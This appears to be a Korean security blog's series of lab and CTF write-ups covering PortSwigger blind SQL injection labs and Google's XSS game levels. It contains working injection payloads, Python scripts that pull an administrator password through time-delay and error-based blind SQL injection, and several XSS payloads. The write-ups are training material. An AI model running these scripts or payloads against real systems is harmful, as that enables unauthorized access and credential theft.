문제 사이트에 접속하여 문제를 확인합니다. tracking cookie를 사용 중이며 해당 cookie를 통해 SQL query로 질의를 하고 있다는 것을 알 수 있습니다. SQL query로 질의를 했을 때의 결과 값 리턴이 따로 없지만 sql query 문을 이용하여 time delay를 통해 정보를 유추할 수 있다고 얘기하는 것을 알 수 있습니다. ACCESS THE LAB 버튼을 클릭하여 웹 페이지에 접속합니다.

LAB에 접속했을 때의 요청 및 응답을 Burp Suite를 사용해 취득한 뒤 TrackingId 쿠키가 설정되어 있는 것을 확인합니다.

문제에서 TrackingId 쿠키 값이 sql query 문에 사용된다고 했기 때문에 sql query 문 조건이 참이 되도록 구성하여 요청을 보내고 응답을 확인합니다.

sql query 문 조건이 거짓이 되도록 구성하여 요청을 보내고 응답을 확인합니다. sql query 문 조건이 참, 거짓일 때 각각의 응답 결과를 비교해 보면 동일한 것을 볼 수 있고 sql query 문 참, 거짓 응답 결과가 다름을 이용한 SQL Injection 공격은 할 수 없음을 알 수 있습니다.

참, 거짓 응답 결과가 다름을 이용하여 data를 추출할 수 없는 상황이라면 Time-based SQL Injection을 시도해 볼 수 있습니다. time delay가 되는지 페이로드를 삽입하여 요청을 보내면 time delay가 되고 있다는 것을 볼 수 있습니다

[페이로드(입력 값)]

페이로드: TrackingId=w10IqJ5f6KMt31wJ'|| pg_sleep(10) ||'

[설명]
단순히 sql query문 조건을 참, 거짓으로 요청을 각각 보냈을 때 응답 결과가 동일하기 때문에 data를 추출할 수 없는 상황입니다. 이런 경우에 Time-based SQL Injection을 이용하여 time delay가 발생하는지 안하는지 여부에 따라 data를 추출할 수 있습니다.

* 페이로드 분석
|| 연산자는 PostgreSQL에서 문자열을 합쳐주는 연산자이며 pg_sleep() 함수는 PostgreSQL에서 사용 가능한 함수입니다. time delay를 유발하는 함수는 DB마다 다를 수 있기 때문에 각 DB의 time delay를 유발하는 함수를 삽입해 보면서 알아내야 합니다.
ex) select 'te' || 'st' -> test

w10IqJ5f6KMt31wJ'|| pg_sleep(10) ||' 에서 문자열을 합치기 전에 pg_sleep() 함수가 실행되는데 이때 값을 10으로 줬기 때문에 10초의 time delay가 발생하고 반환 값은 없는 상태입니다. 마지막에 있는 싱글 쿼터의 경우 sql query 문이 완성될 때 기존에 있던 싱글 쿼터와 합쳐지고 빈 문자열을 합치려고 하기 때문에 실제로 남는건 원래 TrackingId 인 'w10IqJ5f6KMt31wJ'으로 정상적인 값이 되어 sql query 문에서 에러가 발생하지 않게 됩니다.

time delay가 발생하는 것을 확인했기 때문에 time delay를 이용한 Time-based SQL Injection format을 만들어서 사용합니다. Visual Studio Code를 이용하여 Python 스크립트를 작성했습니다. time delay를 이용하는 것이므로 코드를 실행해도 상당히 오래 걸릴 수 있습니다.

import requests
import time

# url은 LAB에 접속했을 때 본인의 url 주소를 입력합니다.
# session, TrackingId는 각각 본인의 파라미터 값을 사용합니다.
# 입력 시 중괄호 제거 후 입력해야 합니다.
url = "{url}"
session = "{session}"
TrackingId = "{TrackingId}"

# pg_sleep(10)을 사용했으므로 time delay가
# 10초동안 발생했는지 비교하기 위해 threshold 값을 10으로 해줍니다.
threshold = 10

# time delay 발생 여부 확인 함수
def check_time_delay(query):
    cookies = {
        "session" : f"{session}",
        "TrackingId" : f"{TrackingId}'|| (select case when ({query}) then pg_sleep(10) else pg_sleep(0) end) ||'"
    }

    start = time.time()
    requests.get(url, cookies=cookies)
    delay = time.time() - start

    return delay >= threshold

# admin 계정 비밀번호 길이 + 값 알아내는 함수
def find_admin_pw():
    low = 1
    high = 256
    pw = ''

    while low < high:
        mid = (low + high) // 2
        
        query = (
            f"(select length(password) from users where username='administrator') > {mid}"
        )
    
        if check_time_delay(query):
            low = mid + 1
        else:
            high = mid

    pw_len = low
    print(f"password 길이: {pw_len}")

	# 알아낸 password 길이만큼 반복문을 돌리면서
    # 비밀번호의 각 글자를 추출합니다.
    for i in range(1, pw_len+1):
        low = 32
        high = 127

        while low < high:
        
            mid = (low + high) // 2
            
            query = (
                f"ascii(substr((select password from users where username='administrator'), {i}, 1)) > {mid}"
            )
        
            if check_time_delay(query):
                low = mid + 1
            else:
                high = mid

        pw += chr(low)

    return pw

print(f"administrator password: {find_admin_pw()}")

Python 스크립트를 실행하면 다음과 같이 administrator 계정의 비밀번호를 알아낼 수 있습니다.

My account 탭에 접속하여 알아낸 비밀번호를 입력한 뒤 Log in 버튼을 클릭합니다.

Lab: Blind SQL injection with conditional errors

0xSecurity — Fri, 27 Mar 2026 21:01:55 +0900

문제 링크

https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors

목표 & 도구

목표: SQL Injection 취약점을 이용하여 administrator 계정의 비밀번호를 알아낸 뒤 해당 계정으로 로그인하는 것입니다.

사용도구: Burp Suite

문제 풀이 - https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors

문제 사이트에 접속하여 문제를 확인합니다. tracking cookie를 사용 중이며 해당 cookie를 통해 SQL query로 질의를 하고 있다는 것을 알 수 있습니다. SQL query로 질의를 했을 때의 결과 값 리턴이 따로 없지만 sql query 문으로 에러를 유발하면 웹 애플리케이션이 에러 메시지를 반환한다는 것도 알 수 있습니다. ACCESS THE LAB 버튼을 클릭하여 웹 페이지에 접속합니다.

LAB에 접속했을 때의 요청 및 응답을 Burp Suite를 사용해 취득한 한 뒤 TrackingId 쿠키가 설정되어 있는 것을 확인합니다.

문제에서 설명했듯이 TrackingId 쿠키는 SQL query 문을 수행하는데 사용되고 있고 에러를 유발하면 웹 애플리케이션이 에러 메시지를 반환한다고 했기 때문에 TrackingId 쿠키에 싱글 쿼터를 삽입해 보면 에러 메시지를 반환하고 있는 것을 볼 수 있습니다.

주석을 사용할 수 있는지 확인합니다. 실제 sql query 문 마지막에 남는 싱글 쿼터가 주석에 의해 처리되었기 때문에 웹 페이지가 정상적으로 보이고 있는 것을 알 수 있고 이를 통해 주석이 사용 가능하다는 것을 알 수 있습니다.

sql query 문 조건식이 참이 되도록 하는 sql query 문을 구성하여 요청을 보내고 응답을 확인해 보면 정상적으로 웹 페이지가 반환되고 있는 것을 확인합니다.

sql query 문 조건식이 거짓이 되도록 하는 sql query 문을 구성해서 요청을 보내봐도 응답 결과는 똑같다는 것을 알 수 있고 단순히 조건식이 참, 거짓에 의한 응답 결과의 차이를 보고 data 추출을 할 수 없다는 것을 알 수 있습니다.

참, 거짓 응답 결과가 다름에 따른 data 추출은 할 수 없지만 해당 LAB 문제에서는 에러 발생 시 에러 메시지를 반환하기 때문에 에러를 유발하는 sql query 문을 구성하면 참, 거짓을 이용한 응답 결과가 다름에 따른 data 추출을 할 수 있게 됩니다.

[페이로드(입력 값)]

- case when 구문 조건 참일 때
페이로드:TrackingId=uUveEoJDaHYuGguk' and 1 = (case when (1=1) then to_number(1/0) else 1 end)--;

- case when 구문 조건 거짓일 때
페이로드: TrackingId=uUveEoJDaHYuGguk' and 1 = (case when (1=2) then to_number(1/0) else 1 end)-- ;

[설명]
해당 LAB 문제에서 sql query 문을 구성할 때 에러를 유발하도록 하면 응답을 받았을 때 에러 메시지가 반환되는 것을 알 수 있습니다. 따라서 case when 구문의 조건을 이용한 참, 거짓에 따른 응답 결과를 통해 data 추출을 할 수 있게 됩니다.

* 페이로드 분석
to_number() 함수는 Oracle DB에서 문자열을 숫자로 변환해 주는 함수입니다. Oracle의 경우 1/0 과 같은 계산은 에러가 발생하기 때문에 to_number(1/0)으로 작성하면 에러가 발생하게 됩니다. 1 = case when (조건) then to_number(1/0) else 1 end에서 조건이 참이면 to_number(1/0)에 의해 에러가 발생하므로 에러 메시지가 반환되고 조건이 거짓이면 1을 반환합니다. 1을 반환하면 1 = 1-- 이 되기 때문에 에러가 발생하지 않아 정상적인 웹 페이지를 반환하게 됩니다.

정리해 보면 case when 구문 조건이 참일 때(1=1) 응답 결과를 보면 에러 메시지를 반환하고 거짓일 때(1=2) 응답 결과를 보면 정상적인 웹 페이지를 반환하고 있는 것을 알 수 있었습니다. 조건이 참, 거짓이느냐에 따라 에러 발생 유무가 정해지며 그에 따른 결과가 다르기 때문에 다름을 이용하여 Blind SQL Injection처럼 data를 추출할 수 있게 됩니다.

[case when 구문 조건 참일 때]

[case when 구문 조건 거짓일 때]

에러 유무에 따른 응답 결과를 통해 data를 추출할 수 있도록 Python scirpt를 제작합니다. (직접 입력하는 것도 가능하지만 상당히 오래 걸리기 때문에 Python 코드를 제작하는 것이 좋습니다.)

[administrator passowrd 추출 - python script]

# 주석 사용 버전
import string
import requests

url = "https://0ada005104420d0780bb089800b00070.web-security-academy.net/"

# session, TrackingId는 자신이 가지고 있는 값을 사용합니다.
session = "jTeRDnbRbQIgMz8DasJdL8L0wNLNjszJ"
TrackingId = "uUveEoJDaHYuGguk"

# 문제에서 administrator 계정의 정보는 users table에 있다고 언급이 되었고
# users table의 column은 username column과, password column이 있다고 했기 때문에
# administrator의 password 길이를 알아내고 해당 길이만큼 반복문을 돌리면서
# data를 추출할 수 있습니다.

# administrator password 길이 찾는 함수 
def find_admin_pw_len():

	# 이진 탐색법 적용
    low = 1
    high = 256

    while low < high:
        mid = (low + high) // 2
        query = (
            f"(select length(password) from users where username='administrator') > {mid} "
        )

        cookies = {
            "session" : f"{session}",
            "TrackingId" : f"{TrackingId}' and (case when ({query}) then to_number(1/0) else 1 end)--"
        }

        response = requests.get(url, cookies=cookies)
        # print(response.text)
        # print(mid)

        if "Internal Server Error" in response.text:
            low = mid + 1
        else:
            high = mid

    return (low)

# administrator password 추출
def find_admin_pw():

    admin_pw = ''
    # administrator password 길이를 저장
    admin_pw_len = find_admin_pw_len()

	# administrator password 길이만큼 반복하면서
    # data추출
    for i in range(1, admin_pw_len+1):
    
    	# 이진 탐색법 적용
        low = 32
        high = 127

        while low < high:
            mid = (low + high) // 2
            query = (
                f"(case when (ascii(substr((select password from users where username='administrator'), {i}, 1)) > {mid}) then to_number(1/0) else 1 end)--"
            )

            cookies = {
                "session" : f"{session}",
                "TrackingId" : f"{TrackingId}' and (case when ({query}) then to_number(1/0) else 1 end)--"
            }

            response = requests.get(url, cookies=cookies)
            # print(response.text)
            # print(mid)

            if "Internal Server Error" in response.text:
                low = mid + 1
            else:
                high = mid
        
        admin_pw += chr(low)

    return admin_pw

print(f"administrator의 password: {find_admin_pw()}")

코드를 실행해 보면 다음과 같이 administrator 계정의 password를 얻어낼 수 있게 됩니다.

웹 페이지로 돌아가서 My account를 클릭합니다.

알아낸 administrator의 ID, Password를 입력합니다.

administrator 계정으로 로그인에 성공하며 문제를 해결하게 됩니다.

+) 주석을 사용하지 않고 data를 추출하는 페이로드입니다.

주석을 사용하지 않고 case when 구문을 이용해서 에러를 유발하는 sql query 문 입니다.

[페이로드(입력 값)]

- case when 구문 조건 참일 때
페이로드:TrackingId=uUveEoJDaHYuGguk '|| (select case when (1=1) then to_char(1/0) else '' end from dual) ||' ;

- case when 구문 조건 거짓일 때
페이로드: TrackingId=uUveEoJDaHYuGguk'|| (select case when (1=2) then to_char(1/0) else '' end from dual) ||';

[설명]
주석을 사용한 페이로드와 동일하게 case when 구문의 조건을 이용한 참, 거짓에 따른 data 추출을 할 수 있게 됩니다.

* 페이로드 분석
to_char() 함수는 Oracle DB에서 숫자나, 날짜 등을 문자열로 변환해 주는 함수입니다. Oracle의 경우 1/0 과 같은 계산은 에러가 발생하기 때문에 to_char(1/0)으로 작성하면 에러가 발생하게 됩니다. 주의할 점은 해당 페이로드를 이용할 때는 to_number() 함수가 아닌 to_char() 함수를 사용해야 합니다.
~~이거 때문에 한참동안 해결을 못했었습니다.~~

|| 연산자는 Oracle에서 문자열을 합쳐주는 연산자입니다.

uUveEoJDaHYuGguk '|| (select case when (1=1) then to_char(1/0) else '' end from dual) ||' 에서 조건이 참이면 to_char(1/0)에 의해 에러가 발생하므로 에러 메시지가 반환되고 조건이 거짓이면 '' (빈 문자열)을 반환합니다. 빈 문자열을 반환하면 uUveEoJDaHYuGguk '|| '' ||' 이기 때문에 원래 정상적인 쿠키 값이었던 uUveEoJDaHYuGguk만 남게 되어 정상적인 sql query 문이 됩니다. 따라서 에러 유무에 따라 응답 결과가 다르기 때문에 data를 추출할 수 있습니다.

[case when 구문 조건 참일 때 - 주석 X]

[case when 구문 조건 거짓일 때 - 주석 X]

에러 유무에 따른 응답 결과를 통해 data를 추출할 수 있도록 Python scirpt를 제작합니다.

[administrator passowrd 추출 - python script]

# 주석 사용하지 않은 코드
import string
import requests

url = "https://0ada005104420d0780bb089800b00070.web-security-academy.net/"

# session, TrackingId는 자신이 가지고 있는 값을 사용합니다.
session = "jTeRDnbRbQIgMz8DasJdL8L0wNLNjszJ"
TrackingId = "uUveEoJDaHYuGguk"

# 문제에서 administrator 계정의 정보는 users table에 있다고 언급이 되었고
# users table의 column은 username column과, password column이 있다고 했기 때문에
# administrator의 password 길이를 알아내고 해당 길이만큼 반복문을 돌리면서
# data를 추출할 수 있습니다.

# administrator password 길이 찾는 함수 
def find_admin_pw_len():

	# 이진 탐색법 적용	
    low = 1
    high = 256

    while low < high:
        mid = (low + high) // 2
        query = (
            f"(select length(password) from users where username ='administrator') > {mid}"
        )

        cookies = {
            "session" : f"{session}",
            "TrackingId" : f"{TrackingId}'|| (select case when ({query}) then to_char(1/0) else '' end from dual) ||'"
        }

        response = requests.get(url, cookies=cookies)
        # print(response.text)
        # print(mid)

        if "Internal Server Error" in response.text:
            low = mid + 1
        else:
            high = mid

    return (low)

# administrator password 추출 함수
def find_admin_pw():
   
    admin_pw = ''
    # administrator password 길이를 저장
	admin_pw_len = find_admin_pw_len()

    # administrator password 길이만큼 반복하면서
    # data추출
    for i in range(1, admin_pw_len+1):
    
    	# 이진 탐색법 적용
        low = 32
        high = 127

        while low < high:
            mid = (low + high) // 2
            query = (
                f"ascii(substr((select password from users where username ='administrator'), {i}, 1)) > {mid}"
            )

            cookies = {
                "session" : f"{session}",
                "TrackingId" : f"{TrackingId}'|| (select case when ({query}) then to_char(1/0) else '' end from dual) ||'"
            }

            response = requests.get(url, cookies=cookies)
            # print(response.text)
            # print(mid)

            if "Internal Server Error" in response.text:
                low = mid + 1
            else:
                high = mid
        
        admin_pw += chr(low)

    return admin_pw

print(f"administrator의 password: {find_admin_pw()}")

코드를 실행해 보면 다음과 같이 administrator 계정의 password를 얻어낼 수 있게 됩니다.

웹 페이지로 돌아가서 My account를 클릭합니다.

알아낸 administrator의 ID, Password를 입력합니다.

administrator 계정으로 로그인에 성공하며 문제를 해결하게 됩니다.

Lab: Blind SQL injection with time delays

0xSecurity — Tue, 24 Mar 2026 02:02:33 +0900

문제 링크

https://portswigger.net/web-security/sql-injection/blind/lab-time-delays

목표 & 사용 도구

목표: SQL Injection 취약점을 이용하여 10초 딜레이를 시키는 것입니다.

사용도구: Burp Suite

문제 풀이 - Lab: Blind SQL injection with time delays

문제 사이트에 접속하여 문제를 확인합니다. tracking cookie를 사용 중이며 해당 cookie를 통해 SQL query로 질의를 하고 있다는 것을 알 수 있고 SQL query로 질의를 했을 때의 결과 값 리턴이 따로 없다고 합니다. 마지막 부분을 읽어보면 SQL injection 취약점을 이용해 10초 딜레이를 시켰을 때 해당 문제를 해결할 수 있다는 것을 알 수 있습니다. ACCESS THE LAB을 클릭합니다.

LAB에 접속했을 때의 요청 및 응답을 Burp Suite를 사용해 취득한 뒤 TrackingId 쿠키가 설정되어 있는 것을 확인합니다.

문제에서 설명했듯이 TrackingId 쿠키는 SQL query 문을 수행하는데 사용되고 있기 때문에 해당 sql query 문 조건식이 참이 되도록 하는 sql query 문을 구성하여 요청을 보냅니다. (Burp Suite의 Repeater 기능 사용)

sql query 문 조건식 결과가 거짓이 되는 sql query 문을 구성하여 요청을 보냅니다. 이때 참, 거짓에 대한 응답을 각각 살펴보면 다른 점이 없었고 응답 결과가 다름을 이용하여 DB data를 추출하는 작업을 할 수 없는 상황인 것을 알 수 있습니다.

참, 거짓 응답 결과를 통해 data를 추출할 수 없기 때문에 Time-based SQL Injection을 시도해 볼 수 있습니다. Time delay가 발생하도록 sql query 문을 구성하여 요청을 보내보면 약 10초 정도 Time delay가 발생한 것을 볼 수 있습니다.

[페이로드(입력 값)]

페이로드: TrackingId=O0USgNjnXDZcKeUZ' || pg_sleep(10)--;

[설명]
Blind SQL Injection을 시도할 때 참, 거짓에 따른 응답 결과가 동일하거나 응답 결과를 통해 data를 추측할 수 없는 상황이면 Time-based SQL Injection을 시도해 볼 수 있습니다.

각 DB마다 Time delay를 발생시키는 함수 및 문법이 다르기 때문에 문제를 풀 때 각 DB의 SQL query 문법에 맞춰서 Time-based SQL Injection을 시도해야합니다. 해당 LAB 문제의 경우 페이로드를 통해 PostgreSQL을 사용중 인것을 알 수 있었습니다.

* 페이로드 분석

PostgreSQL 에서 || 은 문자열을 연결해 주는 연산자 입니다. ~~~' || pg_sleep(10)을 하게되면 문자열을 연결하기 전에 pg_sleep(10)을 보고 Time을 delay 시키게 됩니다.(10이므로 10초) 이때 pg_sleep(10)의 반환 값은 void이며 값이 없는 상태이지만 함수가 실행되기 때문에 Time delay가 발생하는 것입니다. 마지막 주석 -- 은 문법을 파괴하지 않기 위해서 입력한 값입니다.

* Time delay 확인 하는 법

Burp Suite의 Repeater 기능을 이용하여 요청을 보내면 우측 하단에 시간이 나오며 이를 통해 Time delay가 발생했는지 알 수 있습니다.
Bure Suite 우측하단을 보면 10,350 millis로(약 10초) Time delay가 발생한 것을 알 수 있습니다.

이후에 웹 페이지로 돌아가보면 문제 요구에 맞게 10초 Time delay를 발생시켰기 때문에 문제를 성공적으로 해결하게 됩니다.

+) 주석을 사용하지 않은 페이로드입니다.

[페이로드(입력 값)]

페이로드: TrackingId=O0USgNjnXDZcKeUZ' || pg_sleep(10) and '1'='1;

[설명]
O0USgNjnXDZcKeUZ' 에서 싱글 쿼터는 사용자가 입력한 값이며 사용자가 직접 문자열을 감싼 상태이므로 실제로는 O0USgNjnXDZcKeUZ'' 즉 기존에 있던 싱글 쿼터 하나가 남게 됩니다. 앞선 과정에서는 주석을 이용하여 마지막 싱글 쿼터를 인식하지 못하게 하여 문법 에러가 발생하지 않도록 했지만 만약 주석을 사용하지 못하는 상황이라면 and '1'='1 과같이 조건이 항상 참이 되도록 하여 주석 처리를 하지 않고도 마지막에 남은 싱글 쿼터를 처리할 수 있습니다.

ex)
select ___ from ___ where ___='O0USgNjnXDZcKeUZ' || pg_sleep(10) and '1'='1'

xss game(CTF) - 문제 풀이 (6/6)

0xSecurity — Tue, 10 Feb 2026 03:52:04 +0900

문제 링크

https://xss-game.appspot.com/level6

목표 & 사용 도구

목표: alert 함수를 통해 경고창을 화면에 띄우는 것을 목표로 합니다.

사용도구: 개발자 도구

문제 풀이 - https://xss-game.appspot.com/level6

문제 페이지에 접속합니다. Fragment 식별자( # )(identifier) 기호 뒤에 오는 문자열이 화면에 출력되는 것을 확인합니다.

Fragment 식별자 기호 뒤에 임의의 문자열을 입력해 보면 사용자의 입력 값이 화면에 반영되고 있음을 알 수 있습니다.

개발자 도구의 Elements 탭에서 코드를 확인해 보면 사용자가 입력했던 값들이 head 태그 안 script 태그의 src 속성 값으로 들어가고 있는 것을 알아낼 수 있습니다. 또한 입력했던 script 태그가 남아 있는 것으로 보아 사용자가 Fragment 식별자 뒤에 문자열을 입력하면 그것을 통해 script 태그를 삽입하고 있는 것도 알아낼 수 있습니다.

Fragment 식별자 기호 뒤에 특수문자 4개 < , ' , " , > 를 삽입하여 결과를 확인해 보면 특수문자가 인코딩 되고 있으며 추가로 더블 쿼터를 이용하여 태그를 벗어나 스크립트를 삽입하는 행위는 할 수 없다는 것도 알 수 있습니다.

해당 문제는 Data URI 스킴(scheme)을 이용하여 xss 공격을 시도할 수 있습니다. 아래 페이로드를 삽입합니다.

[페이로드(입력 값)]

페이로드 : data:text/javascript,alert('xss')

Data URI 스킴은 파일을 별도로 다운로드하지 않고 URL 자체에 데이터를 직접 포함 시키는 방식을 말합니다. 구조는 다음과 같습니다.

*** 구조
data:[MIME 타입][;base64],<data>

*** 페이로드 분석
data: -> Data URI 스킴
text/javascript -> 데이터를 javascript로 처리합니다.
alert('xss') -> <data> 부분으로 실제 데이터를 의미합니다. 페이로드에서는 alert 함수를 의미합니다.

해당 CTF에서는 사용자가 script 태그가 head 태그에 삽입되며 Fragment 식별자 뒤에 온 문자열들이 삽입된 script의 src 속성 값으로 들어가는 것을 알 수 있었습니다. 따라서 해당 페이로드를 삽입하면 Data URI 스킴을 통해 javascript를 실행시키며 xss 공격을 시도할 수 있습니다.

페이로드를 삽입한 뒤 결과를 확인해 보면 스크립트가 실행되며 XSS 공격에 성공하게 됩니다.(문제 클리어)

xss game(CTF) - 문제 풀이 (5/6)

0xSecurity — Mon, 9 Feb 2026 02:44:21 +0900

문제 링크

https://xss-game.appspot.com/level5

목표 & 사용 도구

목표: alert 함수를 통해 경고창을 화면에 띄우는 것을 목표로 합니다.

사용도구: 개발자 도구

문제 풀이 - https://xss-game.appspot.com/level5

문제 페이지에 접속한 뒤 Sign up 버튼을 클릭합니다.

Next 버튼을 클릭하게 되면 next 파라미터의 값이 경로로 들어가고 있는 것을 확인해 볼 수 있습니다.

다시 next 파라미터가 있던 URL 주소로 돌아와서 개발자 도구로 Next 링크를 확인해 보면 a 태그의 href 속성 값이 next 파라미터의 값이라는 것을 알 수 있습니다.

next 파라미터에 특수문자 4개 < , ' , " , > 를 삽입하여 결과를 확인해 보면 특수문자가 필터링 없이 그대로 사용되는 것을 알 수 있습니다. 추가로 더블 쿼터를 이용하여 태그를 벗어나서 스크립트를 삽입하는 행위는 할 수 없다는 것도 알 수 있습니다.

현재 사용자의 입력 값이 a 태그의 href 속성 값으로 들어가고 있으며 더블 쿼터를 이용해 태그를 벗어나 스크립트를 할 수 없는 상황입니다. 하지만 href 속성을 이용하여 javascript를 실행할 수 있기 때문에 xss 공격을 시도할 수 있습니다.

[페이로드(입력 값)]

페이로드 : javascript:alert('xss')

javascript: 스킴(Scheme)을 이용하여 스크립트를 삽입합니다. 스킴은 URL의 맨 앞부분으로 리소스를 어떤 방식으로 처리할지 알려주는 식별자입니다. 스킴의 종류는 다양하며 그중 페이로드에 쓰인 스킴은 javascript 스킴으로 Javascript 코드를 즉시 실행해 줍니다.

따라서 해당 페이로드는 a 태그 href 속성의 값으로 들어가기 때문에 다른 사용자가 링크를 클릭할 경우 javascript 코드를 실행합니다. alert 함수를 사용했기에 경고 창을 화면에 띄웁니다.

페이로드를 삽입한 뒤 Next를 클릭하면 다음과 같이 스크립트가 실행되며 XSS(RXSS) 공격에 성공하여 문제를 클리어하게 됩니다.

xss game(CTF) - 문제 풀이 (4/6)

0xSecurity — Fri, 6 Feb 2026 16:33:36 +0900

문제 링크

https://xss-game.appspot.com/level4

목표 & 사용 도구

목표: alert 함수를 통해 경고창을 화면에 띄우는 것을 목표로 합니다.

사용도구: 개발자 도구

문제 풀이 - https://xss-game.appspot.com/level4

문제 페이지에 접속한 뒤 Create timer 버튼을 클릭합니다.

Create timer 버튼을 클릭해 보면 3초 뒤에 Time is up이라는 창이 뜨고 있는 것을 볼 수 있으며 URL 입력 창을 보면 timer 파라미터에 입력 값이 들어가고 있는 것을 볼 수 있습니다.

timer 파라미터에 특수문자 4개 < , ' , " , > 를 삽입하여 결과를 확인해 보면 타이머가 동작하지 않는 것을 볼 수 있습니다. 이때 개발자 도구 console 탭에 들어가 보면 사용자가 입력한 값에 의해 에러가 발생하고 있는 것을 알 수 있습니다.

에러를 클릭해 보면 사용자가 입력한 값이 HTML Entity 처리되어 onload 이벤트 속성에 삽입이 되는 것을 볼 수 있으며 이벤트가 발생했을 때 실행되는 startTimer 함수의 인자 값으로 들어가고 있음을 확인할 수 있습니다.

여기서 문제를 해결할 포인트는 onload 이벤트 속성을 통해 함수가 실행된다는 점과 JS 엔진에서는 HTML Entity 필터링이 적용되지 않는다는 점입니다. 따라서 해당 문제는 HTML 파서, JS 엔진의 동작 방식을 이용하여 해당 문제를 풀 수 있게 됩니다.

HTML 파서 입장 : 3<'"> 을 보고 해당 HTML Entity가 의미 하는 문자로 변환 3<'">

JS 엔진 입장 : 3<'">

<img src="/static/loading.gif" onload="startTimer('3<'">');" /> 코드가 있을 때

- HTML 파서가 HTML Entity를 보고 해당하는 문자로 디코딩을 수행합니다.
- JS 엔진은 디코딩 된 값을 가지고 동작하기 때문에 onload 이벤트가 발생했을 때 HTML Entity가 디코딩 된 값으로 함수를 실행하게 됩니다.

따라서 이를 이용하여 페이로드를 작성하고 XSS 공격을 시도할 수 있습니다.

[페이로드(입력 값)]

페이로드: 3')%3balert('xss')%3bx=('

%3b는 ; (세미콜론)을 URL 인코딩한 값입니다. URL 입력창에 페이로드를 바로 입력할 때 ; 을 인코딩 하지 않고 그대로 사용하면 ; 뒤에 오는 값들을 전부 무시하며 XSS 공격을 성공할 수 없게 됩니다. (URL 입력 창에 바로 입력하는 것 아닌 타이머 시간 설정을 할 수 있는 입력란에 ; 을 인코딩하지 않고 그냥 사용하면 자동으로 인코딩 되기 때문에 XSS을 성공시킬 수 있습니다.)

[설명]
이벤트 속성 onload에서는 ; (세미콜론)을 이용하여 함수를 2개 이상으로 실행시킬 수 있습니다. 따라서 이를 이용하여 경고 창을 띄우는 alert 함수를 사용했고 마지막 x=(' 는 문법을 깔끔하게 맞추기 위해서 사용했습니다.

<img src="/static/loading.gif" onload="startTimer('__입력 값__');" />


<img src="/static/loading.gif" onload="startTimer('3');alert('xss');x=('');" />

[timer 파라미터에 직접 입력할 때 - ; 인코딩 적용]

[timer 시간 설정하는 입력란에 입력할 때 - ; 인코딩 미적용]

결과를 확인해 보면 삽입된 스크립트가 정상 작동하여 XSS(RXSS) 공격에 성공했고 문제를 클리어하게 됩니다.

xss game(CTF) - 문제 풀이 (3/6)

0xSecurity — Thu, 5 Feb 2026 21:45:54 +0900

문제 링크

https://xss-game.appspot.com/level3

목표 & 사용 도구

목표: alert 함수를 통해 경고창을 화면에 띄우는 것을 목표로 합니다.

사용도구: 개발자 도구

문제 풀이 - https://xss-game.appspot.com/level3

문제 페이지에 접속합니다.

Image 1, Image 2, Image 3을 클릭해 보면 각각의 이미지를 URL Fragment를 이용하여 가져오고 있는 것을 볼 수 있습니다.

이번엔 Fragment 식별자 값(# 뒤의 값)을 임의로 입력하고 개발자 도구 Elements 탭을 확인해 봅니다. 코드를 보면 Image 1,2,3 버튼을 눌렀을 때 onclick 이벤트 속성에 의해 chooseTab 함수가 실행되는 것을 볼 수 있고 사용자가 입력했던 Fragment 식별자 값은 img 태그의 경로에 들어가고 있는 것을 알 수 있습니다.

Fragment 식별자 값에 특수문자 4개 < , ' , " , > 를 삽입하여 결과를 확인합니다. 결과를 보게 되면 img 태그의 문법이 깨지고 있는 것을 알 수 있고 특수 문자가 어떠한 필터링 없이 그대로 사용되고 있는 것을 볼 수 있습니다.

개발자 도구의 Elements 탭에 들어가서 script 태그들을 확인하다 보면 다음과 같이 chooseTab 함수가 어떤 식으로 동작하고 있는지를 확인할 수 있습니다. 함수 내부 코드를 보면 src 경로가 싱글 쿼터로 감싸지게 되는데 특수 문자 4개를 입력했을 때 img 태그가 깨진 이유가 싱글 쿼터 때문입니다.

따라서 이를 이용하여 페이로드를 입력합니다

[페이로드(입력 값)]

페이로드 : 1test'><script>alert('xss');</script>

싱글 쿼터와 꺾쇠 기호를 이용하여 img 태그를 강제로 닫고 script 태그를 이용하여 스크립트를 삽입합니다.

결과를 확인해 보면 삽입한 페이로드에 의해 스크립트가 실행되어 경고 창을 화면에 띄우며 해당 CTF 문제를 클리어하게 됩니다.

xss game(CTF) - 문제 풀이 (2/6)

0xSecurity — Thu, 5 Feb 2026 00:27:19 +0900

문제 링크

https://xss-game.appspot.com/level2

목표 & 사용 도구

목표: alert 함수를 통해 경고창을 화면에 띄우는 것을 목표로 합니다.

사용도구: 개발자 도구

문제 풀이 - https://xss-game.appspot.com/level2

문제 페이지에 접속한 뒤 입력란에 특수문자 4개 < , ' , " , > 를 삽입하여 Share status! 버튼을 클릭합니다.

결과를 확인해 보면(개발자 도구 사용) 사용자가 입력한 특수문자 4개 전부 별다른 필터링이 없이 그대로 사용되고 있는 것을 알 수 있습니다. 이는 HTML과 javascript를 이용하여 스크립트를 삽입할 가능성이 있다는 것을 의미합니다.

script 태그가 삽입이 가능하다는 것을 확인합니다.

script 태그 삽입이 가능하므로 스크립트를 삽입합니다.

결과를 확인해 보면 어떠한 필터링으로 인해 삽입된 스크립트가 실행되지 않으며 CTF를 클리어하지 못하는 것을 볼 수 있습니다.

[설명]

문제 code를 보게 되면 사용자가 입력한 값은 innerHTML을 통해 삽입이 됩니다. innerHTML을 통해 script 태그를 삽입할 경우 태그는 삽입이 가능하지만 실행은 되지 않습니다.

script 태그 삽입이 가능하지만 실행이 되지 않기 때문에 다른 방법을 실행해야 합니다. 이벤트 속성을 이용하여 우회를 할 수 있기 때문에 img 태그와 이벤트 속성을 이용한 페이로드를 삽입합니다.

[페이로드(입력 값)]

페이로드 : <img src='x' onerror=alert('xss')>

이벤트 속성을 이용할 경우 innerHTML로 태그가 삽입되었다고 해도 이벤트 속성에 해당하는 이벤트가 발생했을 때 실행되기 때문에 XSS 공격을 성공시킬 수 있습니다.

결과를 확인해 보면 삽입한 페이로드에 의해 스크립트가 실행되어 경고 창을 화면에 띄우며 해당 CTF 문제를 클리어하게 됩니다.

xss game(CTF) - 문제 풀이 (1/6)

0xSecurity — Mon, 2 Feb 2026 17:01:46 +0900

문제 링크

https://xss-game.appspot.com/level1

목표 & 사용 도구

목표: alert 함수를 통해 경고창을 화면에 띄우는 것을 목표로 합니다.

사용도구: 개발자 도구

문제 풀이 - https://xss-game.appspot.com/level1

